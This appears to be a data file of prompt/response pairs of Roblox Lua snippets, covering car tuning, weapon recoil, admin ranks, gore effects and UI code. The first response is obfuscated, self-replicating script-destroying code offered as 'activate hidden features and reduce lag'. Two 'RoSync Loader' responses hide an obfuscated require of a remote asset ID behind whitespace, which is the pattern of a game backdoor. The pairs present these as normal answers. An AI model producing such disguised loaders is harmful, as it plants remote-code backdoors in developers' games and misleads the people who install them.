Prompt: -- activate hidden features and reduce lag --

Response:
local uq0,wz1,bf,pqa,pc,zt0,rn,rt0,wt,dm,ths,ct0,gf,wsp,qxz,xsp,tp,cnt,qqb,dt,gq6,cq3,bq2,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,rqc,gfr,gch,isa,ict,prt,zz1,rlp,z22=shared,table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn or spawn,type mjt,fsv,rqc,gfr,sfr,isa,drm,ict,prt=
function(yqh,aq1,bq2,cq3,dq4,eq5)if isa(yqh,"ph{`ul{\"u{bz+")then aq1,bq2,cq3=yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"pr`;ll`s("]if cq3==rqc"e`{,"then dq4,eq5=yqh[rqc"E("],yqh[rqc"D("]drm(yqh)yqh=ct0(rqc"qsp<")yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"E("],yqh[rqc"D("]=aq1,bq2,dq4,eq5 end pc(sfr,yqh,"pr`;",('')[rqc"u`rmzy"](isa(yqh,"mzuz2")and rqc"mzuz2AlPRzuRlP" or rqc"u{bz+Ax{zmu,AlPRzuRlP",rt0(aq1),rt0(bq2)))pc(sfr,yqh,"u{pm`%",aq1 or bq2)pc(ict,yqh)end end,function(yqh)for iq7=1,#svs do sv=svs[iq7]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==yqh then return sv end end end,(function(yqh,lq9)gq6,cq3,bq2,qqb=yqh[pqa[5]..pqa[3]..pqa[10]..pqa[9]],yqh[pqa[7]..pqa[2]..pqa[4]..pqa[8]],yqh[pqa[9]..pqa[1]..pqa[11]..pqa[6]],gf'1'return function(xqg)lq9=#xqg for iq7=1,lq9 do yqh=bq2(xqg,iq7)bf[lq9-iq7+1]=cq3(1-yqh%2+(yqh-yqh%8)%32/4+(yqh-yqh%2)%8*4+(yqh-yqh%32)%64*2+(yqh-yqh%64)%128/2+yqh-yqh%128)end return wz1.concat(bf,nil,1,lq9)end end)'',function(oqa,kq8)return rqc(oqa[rqc(kq8)])end,function(oqa,kq8,vqf)oqa[rqc(kq8)]=vqf end,function(yqh,xqg)return dm[rqc" l\""](yqh,rqc(xqg))end,function(xqg)dbr[rqc"rpu\"qq "](dbr,xqg,0)end,function(yqh,xqg)if not dt[1][yqh]then xqg=ths[rqc"p{zs("](ths)xqg[rqc"psi`}bchm "]=true prt(yqh,xqg)xqg[rqc"u{pm`%"]=yqh end end,function(yqh,xqg,zqi)dt[3][xqg]=true zqi=xqg[rqc"qpx{`c("]zqi=zqi[rqc"uhp{{zh"](zqi,function()if xqg[rqc"u{pm`%"]~=yqh or xqg[rqc"qpsi`lb1"]then dt[1][yqh]=nil dt[3][xqg]=nil pc(ict,yqh)zqi[rqc"uhp{{zhlbq"](zqi)elseif not xqg[rqc"psi`}bchm "]then xqg[rqc"psi`}bchm "]=true end end)end gch=dm[rqc"{pmqsbc(up8"]svs=gch(dm)dbr,
rlp,vsr=fsv"lbmip1",fsv"lmpf`s%",fsv"phb}mp,{t-"dt=uq0[rqc(wz1[rqc"u`h{zh"](pqa))]zz1=ths[rqc"u{pm`%"][rqc"u{pm`%"]if rt0(ths[rqc"u{pm`%"])==rqc"fp{z2"and(rt0(zz1)==rqc"gb5"or rt0(zz1)==rqc"gtiz-")and isa(zz1,"um`%pl`)")then z22=zz1[rqc"qpchtz5"]z22[rqc"uhp{{zh"](z22,function(l)if rlp[rqc"mpuh`m`c(rzm9mpf`s%up8"](rlp,l[rqc"u{pm`%"])then zz1[rqc"fzmulp1"](zz1)end end)end if not dt then dt={{},{},{}}uq0[rqc(wz1[rqc"u`h{zh"](pqa))]=dt cnt=0 xsp(function(a1,a2)ths[rqc"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"wz1[rqc"bch`pmzy"](gch(jsv),function(yqh,xqg)pc(mjt,xqg)end)q0=jsv[rqc"qpqq qsbc("]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())pc(mjt,xqg)end)q0=wsp[rqc"qpqq u{`q{phlp1"]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())if isa(xqg,"ph{`ul{\"u{bz+")and not isa(xqg,"mzuz2")then pc(ict,xqg)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for iq7=1,#cn do q0[#q0+1]=cn[iq7]end end end xsp(function(sqd,tqe)if not vsr[rqc"zbqtu,l\""](vsr)then sqd,tqe=pc(qqb[rqc"pmbtdpm"],rqc"GFTL]LGTGMMEL[G"^rqc"]LD\\F\\MGFLTEL[F"-rqc"TEERpU\\GEME\\LLGT\\[D")pc(tqe)end end)while true do wt(rn())repeat a1,a2=qxz(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=rqc"A[mp}Aqspbc,Au{bz+"..(zt0(('')[rqc"itl"](rt0(dt),8,15),16)/8)ths[rqc"pr`;"]=knm q0=ths[rqc"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end


Prompt:
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------

Response:
	,VRecoil = {15,16}				--- Vertical Recoil
	,HRecoil = {5,7}				--- Horizontal Recoil
	,AimRecover = .7				---- Between 0 & 1

	,RecoilPunch = .15
	,VPunchBase = 2.75				--- Vertical Punch
	,HPunchBase = 1.35				--- Horizontal Punch
	,DPunchBase = 1 				--- Tilt Punch | useless

	,AimRecoilReduction = 5 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0.2
	,MinRecoilPower = .5
	,MaxRecoilPower = 3.5
	,RecoilPowerStepAmount = .25

	,MinSpread = 1.25				--- Min bullet spread value | Studs
	,MaxSpread = 40					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 0.75
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.25				--- Weapon Base Sway | Studs
	,MaxSway =	1.5					--- Max sway value based on player stamina | Studs


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.HotMilk


Prompt: --// States

Response:
local L_41_ = false
local L_42_ = false
local L_43_ = false
local L_44_ = false
local L_45_ = false
local L_46_ = true
local L_47_ = false
local L_48_ = false
local L_49_ = false
local L_50_ = false
local L_51_ = false
local L_52_ = false

local L_53_ = false

local L_54_
local L_55_

local L_56_
local L_57_
local L_58_

local L_59_ = L_21_.FireMode

local L_60_ = 0
local L_61_ = false
local L_62_ = true
local L_63_ = false

local L_64_ = 70


Prompt: -- RANK, RANK NAMES & SPECIFIC USERS

Response:
Ranks = {
	{5,	"Owner",		};
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"E",0},	};
	{0,	"NonAdmin",		};
};


Prompt: --[[ Script Variables ]]

Response:
--
while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end

local LocalPlayer = Players.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local ScreenGui = nil
local ShiftLockIcon = nil
local InputCn = nil
local IsShiftLockMode = false
local IsShiftLocked = false
local IsActionBound = false
local IsInFirstPerson = false


Prompt: --[[ Last synced 7/9/2021 01:41                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--[=[
	Gui object which can be reparented or whatever

	@prop Gui Instance?
	@within BasicPane
]=]
--[=[
	Fires whenever visibility changes. FIres with isVisible, doNotAnimate, and a maid which
	has the lifetime of the visibility.

	:::info
	Do not use the Maid if you want the code to work in Deferred signal mode.
	:::

	@prop VisibleChanged Signal<boolean, boolean, Maid>
	@within BasicPane
]=]


Prompt: --tune

Response:
local PSI = 35
local Turbos = "Twin" -- "Twin","Single" no quad turbo s14s pls ;)
local TurboSize = "Large" -- "Small","Medium","Large"
local TwoStep = true
local Valve = "BOV" -- "BOV","Bleed"


Prompt:
-- Mounts the custom material walking sounds into the provided
-- humanoid. This mounting assumes the HumanoidRootPart is the
-- part that will be storing the character's "Running" sound.

Response:
function CharacterRealism:MountMaterialSounds(humanoid)
	local character = humanoid.Parent
	local rootPart = character and character:WaitForChild("HumanoidRootPart", 10)

	if not (rootPart and rootPart:IsA("BasePart")) then
		return
	end

	Util:PromiseChild(rootPart, "Running", function (running)
		if not running:IsA("Sound") then
			return
		end

		local oldPitch = Instance.new("NumberValue")
		oldPitch.Name = "OldPitch"
		oldPitch.Parent = running
		oldPitch.Value = 1

		local function onStateChanged(old, new)
			if new.Name:find("Running") then
				while humanoid:GetState() == new do
					local hipHeight = humanoid.HipHeight

					if humanoid.RigType.Name == "R6" then
						hipHeight = 2.8
					end

					local scale = hipHeight / 3
					local speed = (rootPart.Velocity * XZ_VECTOR3).Magnitude

					local volume = ((speed - 4) / 12) * scale
					running.Volume = math.clamp(volume, 0, 1)

					local pitch = oldPitch.Value / ((scale * 15) / speed)
					running.Pitch = pitch

					RunService.Heartbeat:Wait()
				end
			end
		end

		local function updateRunningSoundId()
			local soundId = self.Sounds.Concrete
			local material = humanoid.FloorMaterial.Name

			if not self.Sounds[material] then
				material = self.MaterialMap[material]
			end

			if self.Sounds[material] then
				soundId = self.Sounds[material]
			end

			running.SoundId = "rbxassetid://" .. soundId
		end

		local floorListener = humanoid:GetPropertyChangedSignal("FloorMaterial")
		floorListener:Connect(updateRunningSoundId)

		running.EmitterSize = 1
		running.MaxDistance = 50

		updateRunningSoundId()
		humanoid.StateChanged:Connect(onStateChanged)

		onStateChanged(nil, Enum.HumanoidStateType.Running)
	end)
end


Prompt:
-- @Context Client/Server
-- Returns a specific loadout from the database
-- @return table

Response:
function APILoadout.GetLoadoutFromName(loadoutName)
	return Database.Loadouts[loadoutName]
end


Response:
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent.Humanoid.WalkSpeed = 16
end
end


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default
	{
		units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 220				,
		spInc			= 20				, -- Increment between labelled notches
	},

	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 330				,
		spInc			= 30				, -- Increment between labelled notches
	},

	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 350				,
		spInc			= 30				, -- Increment between labelled notches
	}
}


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__HDAdminMain__1 = _G.HDAdminMain;
local l__CustomTopBar__2 = l__HDAdminMain__1.gui.CustomTopBar;
for v3, v4 in pairs(l__HDAdminMain__1.signals:GetChildren()) do
	if v4:IsA("RemoteEvent") then
		v4.OnClientEvent:Connect(function(p1)
			if not l__HDAdminMain__1.initialized then
				l__HDAdminMain__1.client.Signals.Initialized.Event:Wait();
			end;
			if v4.Name == "ChangeStat" then
				local v5 = p1[1];
				l__HDAdminMain__1.pdata[v5] = p1[2];
				if v5 == "Donor" then
					l__HDAdminMain__1:GetModule("PageSpecial"):UpdateDonorFrame();
					return;
				end;
			else
				if v4.Name == "InsertStat" then
					table.insert(l__HDAdminMain__1.pdata[p1[1]], p1[2]);
					return;
				end;
				if v4.Name == "RemoveStat" then
					local v6 = p1[1];
					local v7 = p1[2];
					for v8, v9 in pairs(l__HDAdminMain__1.pdata[v6]) do
						if tostring(v9) == tostring(v7) then
							table.remove(l__HDAdminMain__1.pdata[v6], v8);
							return;
						end;
					end;
					return;
				end;
				if v4.Name == "Notice" or v4.Name == "Error" then
					l__HDAdminMain__1:GetModule("Notices"):Notice(v4.Name, p1[1], p1[2], p1[3]);
					return;
				end;
				if v4.Name == "ShowPage" then
					l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage(p1[1], p1[2]);
					return;
				end;
				if v4.Name == "ShowBannedUser" then
					l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage("Admin", "Banland");
					if type(p1) == "table" then
						l__HDAdminMain__1:GetModule("cf"):ShowBannedUser(p1);
						return;
					end;
				else
					if v4.Name == "SetCameraSubject" then
						l__HDAdminMain__1:GetModule("cf"):SetCameraSubject(p1);
						return;
					end;
					if v4.Name == "Clear" then
						l__HDAdminMain__1:GetModule("Messages"):ClearMessageContainer();
						return;
					end;
					if v4.Name == "ShowWarning" then
						l__HDAdminMain__1:GetModule("cf"):ShowWarning(p1);
						return;
					end;
					if v4.Name == "Message" then
						l__HDAdminMain__1:GetModule("Messages"):Message(p1);
						return;
					end;
					if v4.Name == "Hint" then
						l__HDAdminMain__1:GetModule("Messages"):Hint(p1);
						return;
					end;
					if v4.Name == "GlobalAnnouncement" then
						l__HDAdminMain__1:GetModule("Messages"):GlobalAnnouncement(p1);
						return;
					end;
					if v4.Name == "SetCoreGuiEnabled" then
						l__HDAdminMain__1.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[p1[1]], p1[2]);
						return;
					end;
					if v4.Name == "CreateLog" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], 5);
						return;
					end;
					if v4.Name == "CreateAlert" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("alert", { p1[1], p1[2] }, 8, true);
						return;
					end;
					if v4.Name == "CreateBanMenu" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("banMenu", p1, 6);
						return;
					end;
					if v4.Name == "CreatePollMenu" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("pollMenu", p1, 9);
						return;
					end;
					if v4.Name == "CreateMenu" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1.MenuName, p1.Data, p1.TemplateId);
						return;
					end;
					if v4.Name == "CreateCommandMenu" then
						l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], p1[3]);
						return;
					end;
					if v4.Name == "RankChanged" then
						l__HDAdminMain__1:GetModule("cf"):UpdateIconVisiblity();
						l__HDAdminMain__1:GetModule("PageAbout"):UpdateRankName();
						l__HDAdminMain__1:GetModule("GUIs"):DisplayPagesAccordingToRank(true);
						if l__HDAdminMain__1.initialized then
							l__HDAdminMain__1:GetModule("PageCommands"):CreateCommands();
							return;
						end;
					elseif v4.Name == "ExecuteClientCommand" then
						local v10 = "Function";
						if p1[4].UnFunction then
							v10 = "UnFunction";
						end;
						local v11 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[3]];
						if v11 then
							local v12 = v11[v10];
							if v12 then
								v12(p1[1], p1[2], v11);
								return;
							end;
						end;
					elseif v4.Name == "ReplicationEffectClientCommand" then
						local v13 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[1]];
						if v13 then
							local l__ReplicationEffect__14 = v13.ReplicationEffect;
							if l__ReplicationEffect__14 then
								l__ReplicationEffect__14(p1[2], p1[3], v13);
								return;
							end;
						end;
					elseif v4.Name == "ActivateClientCommand" then
						local v15 = p1[1];
						local v16 = p1[2];
						local v17 = v16;
						if v17 then
							v17 = v16.Speed ~= 0 and v16.Speed or nil;
						end;
						if v17 then
							l__HDAdminMain__1.commandSpeeds[v15] = v17;
							local l__gui__18 = l__HDAdminMain__1.gui;
							local v19 = l__HDAdminMain__1:GetModule("cf");
							v19:DestroyCommandMenuFrame((l__gui__18:FindFirstChild("CommandMenufly")));
						end;
						if l__HDAdminMain__1.commandSpeeds[v15] then
							for v20, v21 in pairs(l__HDAdminMain__1.commandSpeeds) do
								if v20 ~= v15 then
									local v22 = l__HDAdminMain__1:GetModule("cf");
									v22:DeactivateCommand(v20);
								end;
							end;
						end;
						l__HDAdminMain__1.commandsAllowedToUse[v15] = true;
						local v23 = l__HDAdminMain__1:GetModule("cf");
						v23:ActivateClientCommand(v15, v16);
						local v24 = nil;
						local v25 = nil;
						for v26, v27 in pairs(l__HDAdminMain__1.commandsWithMenus) do
							v24 = v27[v15];
							if v24 then
								v25 = tonumber(v26:match("%d+"));
								break;
							end;
						end;
						if v24 then
							local v28 = l__HDAdminMain__1:GetModule("cf");
							v28:CreateNewCommandMenu(v15, v24, v25);
							return;
						end;
					else
						if v4.Name == "DeactivateClientCommand" then
							local v29 = l__HDAdminMain__1.GetModule(l__HDAdminMain__1, "cf");
							v29.DeactivateCommand(v29, p1[1]);
							return;
						end;
						if v4.Name == "FadeInIcon" then
							return;
						end;
						if v4.Name == "ChangeMainVariable" then
							l__HDAdminMain__1[p1[1]] = p1;
						end;
					end;
				end;
			end;
		end);
	elseif v4:IsA("RemoteFunction") then
		function v4.OnClientInvoke(p2)
			if not l__HDAdminMain__1.initialized then
				l__HDAdminMain__1.client.Signals.Initialized.Event:Wait();
			end;
			if v4.Name ~= "GetLocalDate" then
				return;
			end;
			return os.date("*t", p2);
		end;
	end;
end;
return {};


Prompt:
--[[
	Listens for input type changes and disables the mouse cursor during
	gamepad input, and enables it during non-gamepad input.

	This disables the dot on-screen while using a gamepad.
--]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")

local InputCategorizer = require(ReplicatedStorage.Source.InputCategorizer)
local InputCategory = require(ReplicatedStorage.Source.SharedConstants.InputCategory)

local GamepadMouseDisabler = {}

local function updateCursorEnabled()
	local shouldEnable = InputCategorizer.getLast() ~= InputCategory.Gamepad
	UserInputService.MouseIconEnabled = shouldEnable
end

function GamepadMouseDisabler.start()
	InputCategorizer.changed:Connect(updateCursorEnabled)
	updateCursorEnabled()
end

return GamepadMouseDisabler


Prompt: -- Create component

Response: local Frame = Roact.PureComponent:extend 'Frame'


Prompt: -- Load config

Response:
config = script.Config

ahd = config.Auto_Head_Decap.Value
gore = config.Gore.Value
bod = config.Blood_On_Death.Value

Character = script.Parent
Humanoid = Character.Humanoid
Torso = Character.Torso

function OnDeath()
	Humanoid.Parent = nil
	if Torso then
		Torso.Parent = game.Workspace
		local Head = Character:FindFirstChild("Head")
		if Head then
			Head.Parent = game.Workspace
			local Neck = Instance.new("Weld")
			Neck.Name = "Neck"
			Neck.Part0 = Torso
			Neck.Part1 = Head
			Neck.C0 = CFrame.new(0, 1.5, 0)
			Neck.C1 = CFrame.new()
			Neck.Parent = Torso

			script.HDecap:Clone().Parent = Head

			if ahd then
				Head:BreakJoints()

			if bod then
				blood = game.Lighting.Blood:Clone()
				blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				blood.Parent = game.Workspace

				blood = game.Lighting.Blood:Clone()
				blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				blood.Parent = game.Workspace

				blood = game.Lighting.Blood:Clone()
				blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				blood.Parent = game.Workspace
			end

			if gore then
				brain = game.Lighting["Brain Gib"]:Clone()
				brain.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				brain.Parent = game.Workspace

				flesh = game.Lighting["Flesh Gib"]:Clone()
				flesh.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				flesh.Parent = game.Workspace

				flesh = game.Lighting["Flesh Gib"]:Clone()
				flesh.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
				flesh.Parent = game.Workspace
			end
			end
		end
		local Limb = Character:FindFirstChild("Right Arm")
		if Limb then
			Limb.Parent = game.Workspace
			script.Decap:Clone().Parent = Limb
			Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
			local Joint = Instance.new("Glue")
			Joint.Name = "RightShoulder"
			Joint.Part0 = Torso
			Joint.Part1 = Limb
			Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
			Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
			Joint.Parent = Torso

			local B = Instance.new("Part")
			B.TopSurface = 0
			B.BottomSurface = 0
			B.formFactor = "Symmetric"
			B.Size = Vector3.new(1, 1, 1)
			B.Transparency = 1
			B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
			B.Parent = Character
			local W = Instance.new("Weld")
			W.Part0 = Limb
			W.Part1 = B
			W.C0 = CFrame.new(0, -0.5, 0)
			W.Parent = Limb

		end
		local Limb = Character:FindFirstChild("Left Arm")
		if Limb then
			Limb.Parent = game.Workspace
			script.Decap:Clone().Parent = Limb
			Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
			local Joint = Instance.new("Glue")
			Joint.Name = "LeftShoulder"
			Joint.Part0 = Torso
			Joint.Part1 = Limb
			Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
			Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
			Joint.Parent = Torso

			local B = Instance.new("Part")
			B.TopSurface = 0
			B.BottomSurface = 0
			B.formFactor = "Symmetric"
			B.Size = Vector3.new(1, 1, 1)
			B.Transparency = 1
			B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
			B.Parent = Character
			local W = Instance.new("Weld")
			W.Part0 = Limb
			W.Part1 = B
			W.C0 = CFrame.new(0, -0.5, 0)
			W.Parent = Limb

		end
		local Limb = Character:FindFirstChild("Right Leg")
		if Limb then
			Limb.Parent = game.Workspace
			script.Decap:Clone().Parent = Limb
			Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
			local Joint = Instance.new("Glue")
			Joint.Name = "RightHip"
			Joint.Part0 = Torso
			Joint.Part1 = Limb
			Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
			Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
			Joint.Parent = Torso

			local B = Instance.new("Part")
			B.TopSurface = 0
			B.BottomSurface = 0
			B.formFactor = "Symmetric"
			B.Size = Vector3.new(1, 1, 1)
			B.Transparency = 1
			B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
			B.Parent = Character
			local W = Instance.new("Weld")
			W.Part0 = Limb
			W.Part1 = B
			W.C0 = CFrame.new(0, -0.5, 0)
			W.Parent = Limb

		end
		local Limb = Character:FindFirstChild("Left Leg")
		if Limb then
			Limb.Parent = game.Workspace
			script.Decap:Clone().Parent = Limb
			Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
			local Joint = Instance.new("Glue")
			Joint.Name = "LeftHip"
			Joint.Part0 = Torso
			Joint.Part1 = Limb
			Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
			Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
			Joint.Parent = Torso

			local B = Instance.new("Part")
			B.TopSurface = 0
			B.BottomSurface = 0
			B.formFactor = "Symmetric"
			B.Size = Vector3.new(1, 1, 1)
			B.Transparency = 1
			B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
			B.Parent = Character
			local W = Instance.new("Weld")
			W.Part0 = Limb
			W.Part1 = B
			W.C0 = CFrame.new(0, -0.5, 0)
			W.Parent = Limb

		end
		--[
		local Bar = Instance.new("Part")
		Bar.TopSurface = 0
		Bar.BottomSurface = 0
		Bar.formFactor = "Symmetric"
		Bar.Size = Vector3.new(1, 1, 1)
		Bar.Transparency = 1
		Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0)
		Bar.Parent = game.Workspace
		local Weld = Instance.new("Weld")
		Weld.Part0 = Torso
		Weld.Part1 = Bar
		Weld.C0 = CFrame.new(0, 0.5, 0)
		Weld.Parent = Torso
		--]]
	end
end

Humanoid.Died:connect(OnDeath)


Prompt: -- Super-Simple Animated Texture Script by Lapheuz

Response:
while true do
	wait(0.0001)
	script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + 0.005 -- Speed
end


Prompt: --[[ Last synced 7/31/2021 05:08                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: --[[Engine]]

Response:
	local fFD = _Tune.FinalDrive*_Tune.FDMult
	local fFDr = fFD*30/math.pi
	local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
	local wDRatio = wDia*math.pi/60
	local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
	local cfYRot = CFrame.Angles(0,math.pi,0)
	local rtTwo = (2^.5)/2

	--Horsepower Curve
	local fgc_h=_Tune.Horsepower/100
	local fgc_n=_Tune.PeakRPM/1000
	local fgc_a=_Tune.PeakSharpness
	local fgc_c=_Tune.CurveMult

	function FGC(x)
		x=x/1000
		return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
	end
	local PeakFGC = FGC(_Tune.PeakRPM)

	--Plot Current Horsepower
	function GetCurve(x,gear)
		local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
		return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
	end

	--Output Cache
	local CacheTorque = false
	local HPCache = {}
	local HPInc = 100

	if CacheTorque then
		for gear,ratio in pairs(_Tune.Ratios) do
			local hpPlot = {}
			for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
				local tqPlot = {}
				tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
				hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
				tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
				tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
				hpPlot[rpm] = tqPlot
			end
			table.insert(HPCache,hpPlot)
		end
	end

	--Powertrain

	--Update RPM
	function RPM()
		--Neutral Gear
		if _CGear==0 then _ClutchOn = false end

		--Car Is Off
		local revMin = _Tune.IdleRPM
		if not _IsOn then
			revMin = 0
			_CGear = 0
			_ClutchOn = false
			_GThrot = _Tune.IdleThrottle/100
		end

		--Determine RPM
		local maxSpin=0
		for i,v in pairs(Drive) do
			if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
		end
		if _ClutchOn then
			local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
			local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
			_RPM = _RPM*clutchP  +  aRPM*(1-clutchP)
		else
			if _GThrot-(_Tune.IdleThrottle/100)>0 then
				if _RPM>_Tune.Redline then
					_RPM = _RPM-_Tune.RevBounce*2
				else
					_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
				end
			else
				_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
			end
		end

		--Rev Limiter
		_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
		if _RPM>_Tune.Redline then
			if _CGear<#_Tune.Ratios-2 then
				_RPM = _RPM-_Tune.RevBounce
			else
				_RPM = _RPM-_Tune.RevBounce*.5
			end
		end
	end

	--Apply Power
	function Engine()
		--Get Torque
		local maxSpin=0
		for i,v in pairs(Drive) do
			if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
		end
		if _ClutchOn then
			if CacheTorque then
				local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
				_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
				_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
			else
				_HP,_OutTorque = GetCurve(_RPM,_CGear)

			end
			local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
			if _CGear==-1 then iComp=-iComp end
